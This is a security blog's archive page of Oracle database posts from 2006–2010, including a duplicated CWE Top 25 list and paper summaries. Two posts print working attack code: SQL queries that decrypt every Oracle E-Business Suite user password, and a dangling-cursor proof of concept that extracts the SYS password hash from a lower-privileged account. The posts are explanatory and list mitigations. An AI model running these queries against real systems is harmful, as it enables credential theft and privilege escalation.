Eddie Awad's Blog » Security

★ SQL Injection Prevention Cheat Sheet

Eddie Awad — Tue, 23 Feb 2010 06:09:07 +0000

This article provides a set of simple techniques for preventing SQL Injection vulnerabilities. These techniques can be used with practically any kind of programming language with any type of database. There are other types of databases, like XML databases, which can have similar problems (e.g., XPath and XQuery injection) and these techniques can be used to protect them as well.More…

★ Top 25 Most Dangerous Programming Errors

Eddie Awad — Thu, 18 Feb 2010 05:56:15 +0000

The 2010 CWE/SANS Top 25 Most Dangerous Programming Errors is a list of the most widespread and critical programming errors that can lead to serious software vulnerabilities. They are often easy to find, and easy to exploit. They are dangerous because they will frequently allow attackers to completely take over the software, steal data, or prevent the software from working at all.

Rank Score ID Name

[1] 346 CWE-79 Failure to Preserve Web Page Structure (‘Cross-site Scripting’)

[2] 330 CWE-89 Improper Sanitization of Special Elements used in an SQL Command (‘SQL Injection’)

[3] 273 CWE-120 Buffer Copy without Checking Size of Input (‘Classic Buffer Overflow’)

[4] 261 CWE-352 Cross-Site Request Forgery (CSRF)

[5] 219 CWE-285 Improper Access Control (Authorization)

[6] 202 CWE-807 Reliance on Untrusted Inputs in a Security Decision

[7] 197 CWE-22 Improper Limitation of a Pathname to a Restricted Directory (‘Path Traversal’)

[8] 194 CWE-434 Unrestricted Upload of File with Dangerous Type

[9] 188 CWE-78 Improper Sanitization of Special Elements used in an OS Command (‘OS Command Injection’)

[10] 188 CWE-311 Missing Encryption of Sensitive Data

[11] 176 CWE-798 Use of Hard-coded Credentials

[12] 158 CWE-805 Buffer Access with Incorrect Length Value

[13] 157 CWE-98 Improper Control of Filename for Include/Require Statement in PHP Program (‘PHP File Inclusion’)

[14] 156 CWE-129 Improper Validation of Array Index

[15] 155 CWE-754 Improper Check for Unusual or Exceptional Conditions

[16] 154 CWE-209 Information Exposure Through an Error Message

[17] 154 CWE-190 Integer Overflow or Wraparound

[18] 153 CWE-131 Incorrect Calculation of Buffer Size

[19] 147 CWE-306 Missing Authentication for Critical Function

[20] 146 CWE-494 Download of Code Without Integrity Check

[21] 145 CWE-732 Incorrect Permission Assignment for Critical Resource

[22] 145 CWE-770 Allocation of Resources Without Limits or Throttling

[23] 142 CWE-601 URL Redirection to Untrusted Site (‘Open Redirect’)

[24] 141 CWE-327 Use of a Broken or Risky Cryptographic Algorithm

[25] 138 CWE-362 Race Condition

Rank	Score	ID	Name
[1]	346	CWE-79	Failure to Preserve Web Page Structure (‘Cross-site Scripting’)
[2]	330	CWE-89	Improper Sanitization of Special Elements used in an SQL Command (‘SQL Injection’)
[3]	273	CWE-120	Buffer Copy without Checking Size of Input (‘Classic Buffer Overflow’)
[4]	261	CWE-352	Cross-Site Request Forgery (CSRF)
[5]	219	CWE-285	Improper Access Control (Authorization)
[6]	202	CWE-807	Reliance on Untrusted Inputs in a Security Decision
[7]	197	CWE-22	Improper Limitation of a Pathname to a Restricted Directory (‘Path Traversal’)
[8]	194	CWE-434	Unrestricted Upload of File with Dangerous Type
[9]	188	CWE-78	Improper Sanitization of Special Elements used in an OS Command (‘OS Command Injection’)
[10]	188	CWE-311	Missing Encryption of Sensitive Data
[11]	176	CWE-798	Use of Hard-coded Credentials
[12]	158	CWE-805	Buffer Access with Incorrect Length Value
[13]	157	CWE-98	Improper Control of Filename for Include/Require Statement in PHP Program (‘PHP File Inclusion’)
[14]	156	CWE-129	Improper Validation of Array Index
[15]	155	CWE-754	Improper Check for Unusual or Exceptional Conditions
[16]	154	CWE-209	Information Exposure Through an Error Message
[17]	154	CWE-190	Integer Overflow or Wraparound
[18]	153	CWE-131	Incorrect Calculation of Buffer Size
[19]	147	CWE-306	Missing Authentication for Critical Function
[20]	146	CWE-494	Download of Code Without Integrity Check
[21]	145	CWE-732	Incorrect Permission Assignment for Critical Resource
[22]	145	CWE-770	Allocation of Resources Without Limits or Throttling
[23]	142	CWE-601	URL Redirection to Untrusted Site (‘Open Redirect’)
[24]	141	CWE-327	Use of a Broken or Risky Cryptographic Algorithm
[25]	138	CWE-362	Race Condition

via cwe.mitre.org

Posted via web from EddieAwad.com

★ Securing Java In Oracle [PDF]

Eddie Awad — Mon, 08 Feb 2010 04:14:19 +0000

It is an interesting case of coincidental timing that within a week of the Oracle Sun deal being finalised by the EU1 that the Blackhat conference in DC should publish David Litchfield’s research for NGS Software 2, on how to escalate privilege using the Java functionality built into the Oracle DB 3. David’s research is not patched yet so would normally have only been made privy to the Administrators at Oracle’s SecAlert, but it has been made “Public” so it is now risk mitigation time.

Thankfully these Java related Oracle vulnerabilities have been discussed privately for a number of months beforehand, thus giving the Author time to fix them with a provably low risk of affecting other Oracle functionality.

In the absence of a patch from Oracle this paper provides information on how to fix the Java related vulnerabilities in both 10g and 11g which were detailed in David’s Blackhat presentation on February 2nd 2010.More…

★ New Oracle Security Videos and Blog

Eddie Awad — Thu, 24 May 2007 16:23:15 +0000

Alexander Kornbrust of Red-Database-Security has started a new Oracle security blog (just added to OraNa.info). He also posted new Oracle security videos, 10 as of today.

★ 5 Recent Oracle Security Related Documents

Eddie Awad — Thu, 12 Apr 2007 20:01:21 +0000

Oracle Applications 11i Encrypted Password String Disclosure (PDF): An undisclosed security vulnerability exists in Oracle Applications 11i that may allow an unauthenticated, internal attacker to obtain Oracle Applications’ user account encrypted password strings, which in turn can be decrypted using previously published information. An attacker can potentially obtain either any user’s password or the Oracle Applications’ main database account password (APPS).
Building an Audit Trail in an Oracle Applications Environment (PDF): Sarbanes-Oxleyâ€™s section 404 requires a companyâ€™s key systems be audited. However, many companies have “unauditable” systems and donâ€™t even know it. This paper explores methods by which companies can create an auditable system by implementing various levels of audit trails in Oracle Applications.
Dissecting the Redo Logs (PDF): This paper delves into the guts of the undocumented binary format of the redo logs and shows the forensics examiner, if there is evidence to be found, how to find it and how it can be integrated into a time line of events. It also explores how an attacker can attempt to cover their tracks and how to spot this.
Locating dropped objects (PDF): This paper shows, even when an object has been dropped and purged from the system there will be, in the vast majority of cases, fragments left â€œlying aroundâ€ which can be sewn together to build an accurate picture of what the actions the attacker took. Perhaps, depending upon how quickly an investigation takes place from the incident in question, even all data pertaining to the dropped object or objects may still be found.
Isolating Evidence of Attacks Against the Authentication Mechanism (PDF): This paper looks at attacks against the authentication mechanism and evidence to check whether a logon attempt was successful or not. It also looks at other attacks leveled at the authentication process including SID guessing, user enumeration and brute forcing of passwords over the network. Moreover, the paper looks at the differences between a logon attempt via the FTP and Web services provided with the XML Database and directly with the RDBMS itself.

★ Oracle Database Listener Security Guide

Eddie Awad — Sun, 01 Apr 2007 02:44:11 +0000

Integrigy has just published an updated version of the white paper on the Oracle database listener security.

From the introduction:

The Oracle Database Listener is the database server software component that manages the network traffic between the Oracle Database and the client. The Oracle Database Listener listens on a specific network port (default 1521) and forwards network connections to the Database. The Listener is comprised of two binaries: (1) tnslsnr which is the Listener itself and (2) the Listener Control Utility (lsnrctl) which is used to administer the Listener on the server or remotely.

Through our security assessments, Integrigy has consistently identified poor Oracle Database Listener security as a significant security risk. The majority of Oracle Database Listeners are not properly secured as recommended by Oracle and security experts. Fortunately in Oracle 10g, the default Listener configuration is much more secure.

The information contained in this paper is not new, is not obscure. It may not be well known to many Oracle DBAs, but is well known to security experts and hackers. This paper will outline the vulnerabilities in the Oracle Database Listener and provide recommendations for properly securing it. Providing minimal security for the Oracle Database Listener is simple and should be done for all Oracle installations â€“ development, test and production.

Here is a link to the full document.

★ Oracle E-Business Suite Vulnerability: Users Passwords Decrypted

Eddie Awad — Tue, 12 Dec 2006 22:55:02 +0000

Johan Louwers published an Oracle Applications passwords decryption vulnerability that allows a malicious user to expose the passwords of any Oracle Applications user. In Oracle E-Business Suite, usernames and their encrypted passwords are stored in the table fnd_user:

  SQL> desc fnd_user;
   Name                                      Null?    Type
   ----------------------------------------- -------- ----------------

   USER_ID                                   NOT NULL NUMBER(15)
   USER_NAME                                 NOT NULL VARCHAR2(100)
   LAST_UPDATE_DATE                          NOT NULL DATE
   LAST_UPDATED_BY                           NOT NULL NUMBER(15)
   CREATION_DATE                             NOT NULL DATE
   CREATED_BY                                NOT NULL NUMBER(15)
   LAST_UPDATE_LOGIN                                  NUMBER(15)
   ENCRYPTED_FOUNDATION_PASSWORD             NOT NULL VARCHAR2(100)
   ENCRYPTED_USER_PASSWORD                   NOT NULL VARCHAR2(100)
  ...

The column ENCRYPTED_USER_PASSWORD stores the encrypted value of the user’s password. The column ENCRYPTED_FOUNDATION_PASSWORD stores the encrypted value of the guest user.

To decrypt the ENCRYPTED_USER_PASSWORD you need access to the DECRYPT function in the APPS.FND_WEB_SEC package. Since DECRYPT is a private function, you need to add the declaration of this function to the package specification so that you can use it outside the package.

FUNCTION decrypt(key IN VARCHAR2, value IN VARCHAR2)
  RETURN VARCHAR2;

The key is the decrypted ENCRYPTED_FOUNDATION_PASSWORD. The value is the ENCRYPTED_USER_PASSWORD.

So, the first step in the decryption of a user’s password is to decrypt the ENCRYPTED_FOUNDATION_PASSWORD. This can be accomplished by executing the following query:

  WITH guest AS
       (
          SELECT UPPER (fnd_profile.VALUE ('GUEST_USER_PWD')) user_pwd,
                 UPPER (SUBSTR (fnd_profile.VALUE ('GUEST_USER_PWD'),
                                1,
                                  INSTR (fnd_profile.VALUE ('GUEST_USER_PWD'),
                                         '/'
                                        )
                                - 1
                               )
                       ) user_name
            FROM DUAL)
  SELECT fnd_web_sec.decrypt (guest.user_pwd,
                              fnd_user.encrypted_foundation_password
                             ) apps_password
    FROM fnd_user,
         guest
   WHERE fnd_user.user_name = guest.user_name

Now, using the above query, we can now decrypt all the values in the FND_USER.ENCRYPTED_USER_PASSWORD column:

  WITH guest AS
       (
          SELECT UPPER (fnd_profile.VALUE ('GUEST_USER_PWD')) user_pwd,
                 UPPER (SUBSTR (fnd_profile.VALUE ('GUEST_USER_PWD'),
                                1,
                                  INSTR (fnd_profile.VALUE ('GUEST_USER_PWD'),
                                         '/'
                                        )
                                - 1
                               )
                       ) user_name
            FROM DUAL)
  SELECT   fnd_user.user_name,
           fnd_web_sec.decrypt
              ((SELECT fnd_web_sec.decrypt
                                         (guest.user_pwd,
                                          fnd_user.encrypted_foundation_password
                                         ) apps_password
                  FROM fnd_user,
                       guest
                 WHERE fnd_user.user_name = guest.user_name),
               fnd_user.encrypted_user_password
              ) decrypted_user_password
      FROM fnd_user
  ORDER BY fnd_user.user_name

VOILA!

Of course, in order for the above queries to work, you have to have the privilege to modify and compile the package APPS.FND_WEB_SEC. Assuming that you do have this privilege on a development instance and assuming that passwords are not reset when a development instance is refreshed from a production instance, this can represent a serious security risk.

Updated a few hours later: Stephen Kost just blogged about this subject. He writes that since the decryption routine is a Java class, it is actually easy to create a Java application that calls the decrypt method. So, no need to even have access to a database to run the decrypt. Moreover, he does not expect Oracle to fix this password weakness in the foreseeable future. He also offers a few recommendations to improve the security of the user passwords, like making sure that APPLSYSPUB does not have SELECT privileges on APPS.FND_USER_VIEW, changing the passwords for all Oracle Applications 11i seeded accounts, creating all new user accounts with strong and unique passwords and limiting access to the APPLSYS.FND_USER and APPLSYS.FND_ORACLE_USERID tables by all non-DBA accounts.

Updated January 9 2007: Oracle Applications Password Decryption (PDF)

★ See How To Hack Oracle Using Dangling Cursor Snarfing

Eddie Awad — Wed, 29 Nov 2006 08:28:57 +0000

David Litchfield published a paper demonstrating how an unclosed or dangling cursor created and used by DBMS_SQL can lead to a security hole.

I ran his proof of this vulnerability on my Oracle Database 10g Express Edition database.

Connected as SYS:

SQL> CREATE OR REPLACE PROCEDURE pwd_compare(p_user VARCHAR) IS
  2    cursor_name INTEGER;
  3    v_pwd VARCHAR2(30);
  4    i INTEGER;
  5  BEGIN
  6
  7    IF p_user != 'SYS' THEN
  8      cursor_name := dbms_sql.open_cursor;
  9      DBMS_OUTPUT.PUT_LINE('CURSOR: ' || cursor_name);
 10      dbms_sql.parse(cursor_name,
 11        'SELECT PASSWORD FROM SYS.DBA_USERS WHERE USERNAME = :u',
 12        dbms_sql.native);
 13      dbms_sql.bind_variable(cursor_name,   ':u',   p_user);
 14      dbms_sql.define_column(cursor_name,   1,   v_pwd,   30);
 15      i := dbms_sql.EXECUTE(cursor_name);
 16
 17      IF dbms_sql.fetch_rows(cursor_name) > 0 THEN
 18        dbms_sql.column_value(cursor_name,   1,   v_pwd);
 19      END IF;
 20
 21      IF v_pwd = '0123456789ABCDEF' THEN
 22        DBMS_OUTPUT.PUT_LINE('Hmmm....');
 23      END IF;
 24
 25      dbms_sql.close_cursor(cursor_name);
 26    END IF;
 27
 28  END;
 29  /

Procedure created.

SQL> GRANT EXECUTE ON pwd_compare TO PUBLIC;

Grant succeeded.

Note that, in the code above, there is no exception handling so if there is an error before the cursor is closed then the cursor will be left dangling.

Now, let’s connect as HR, a lower privileged user than SYS, and execute the procedure pwd_compare making sure we generate an exception in it:

SQL> DECLARE x VARCHAR(32000);
  2  i INTEGER;
  3  BEGIN
  4    FOR i IN 1 .. 10000
  5    LOOP
  6      x := 'B' || x;
  7    END LOOP;
  8
  9    sys.pwd_compare(x);
 10  END;
 11  /
CURSOR: 6
DECLARE x VARCHAR(32000);
*
ERROR at line 1:
ORA-01460: unimplemented or unreasonable conversion requested
ORA-06512: at "SYS.DBMS_SYS_SQL", line 1202
ORA-06512: at "SYS.DBMS_SQL", line 323
ORA-06512: at "SYS.PWD_COMPARE", line 15
ORA-06512: at line 9

What we have now is a dangling cursor with an ID number of 6. Armed with this piece of information we can rebind the username associated with the query, using SYS, then re-execute the query and extract the password hash for the SYS user bypassing the logic in the procedure pwd_compare:

SQL> DECLARE cursor_name INTEGER;
  2  i INTEGER;
  3  pwd VARCHAR2(30);
  4  BEGIN
  5    cursor_name := 6;
  6    dbms_sql.bind_variable(cursor_name,   ':u',   'SYS');
  7    dbms_sql.define_column(cursor_name,   1,   pwd,   30);
  8    i := dbms_sql.EXECUTE(cursor_name);
  9
 10    IF dbms_sql.fetch_rows(cursor_name) > 0 THEN
 11      dbms_sql.column_value(cursor_name,   1,   pwd);
 12    END IF;
 13
 14    dbms_sql.close_cursor(cursor_name);
 15    DBMS_OUTPUT.PUT_LINE('PWD: ' || pwd);
 16  END;
 17  /
PWD: 586EEA79959C07B1

PL/SQL procedure successfully completed.

Interesting!

Lessons learned:

Always perform extensive input validation.
Always add exception handlers to your blocks.
Always make sure to close your cursors.

Sources and resources:

★ A Couple of Podcasts About PL/SQL and Oracle Security

Eddie Awad — Thu, 09 Nov 2006 21:16:20 +0000

SearchOracle.com has just published a couple of interesting podcasts.

The first, titled Expert says PL/SQL change needed in Oracle 11g, is an interview with Steven Feuerstein.

In the interview, Steven answers the following questions:

Considering how big OpenWorld has become, should there be a separate conference for PL/SQL developers?
Your session at the conference was entitled “Ten things you should never do with PL/SQL.” What was number one?
What do you think is the biggest problem or challenge that PL/SQL developers need to address?
Users are very conditioned to accept bugs. Does this need to change?
Can you tell us about your new free tool for testing code?
What do you think are the biggest deficiencies in the PL/SQL language itself?
You’ve written ten very well regarded books. What’s next?

Listen to Steven’s answers

The second podcast, titled Security expert sizes up Oracle patch policies, is an interview with Aaron Newman, author of “Oracle Security Handbook” and co-founder and chief technology officer of Application Security Inc.

In the interview, Aaron answers the following questions:

Is Oracle OpenWorld getting too big to be useful?
Can you explain the methodology behind what you call post-attack analytics?
You argue that improper use of Oracle security products can erase the trail of an attacker. Could you elaborate on that?
What do you think about the overall state of Oracle security these days?
Is patching vulnerabilities a problem for Oracle?
How does Oracle stack up against Microsoft and IBM in the area of patching?
What does your firm offer in terms of security that Oracle does not?
Will Oracle’s Fusion initiative be good or bad for Oracle security?
What have you heard about the upcoming Oracle Database 11g?
What are some of the pet peeves you have with Oracle DBAs when it comes to security?

Listen to Aaron’s answers

★ Oracle Security Podcast With Pete Finnigan

Eddie Awad — Thu, 07 Sep 2006 16:56:45 +0000

I have just finished listening to a very interesting podcast interview with Pete Finnigan (via SearchOracle.com). Pete discusses the problems with Oracle PL/SQL wrapping and hopes that Oracle releases all the built-in PL/SQL packages unwrapped as clear text, as in open source, so that everyone can help with finding bugs. Pete also advises DBAs to think like hackers in order to improve the security of the database.

Listen to the podcast.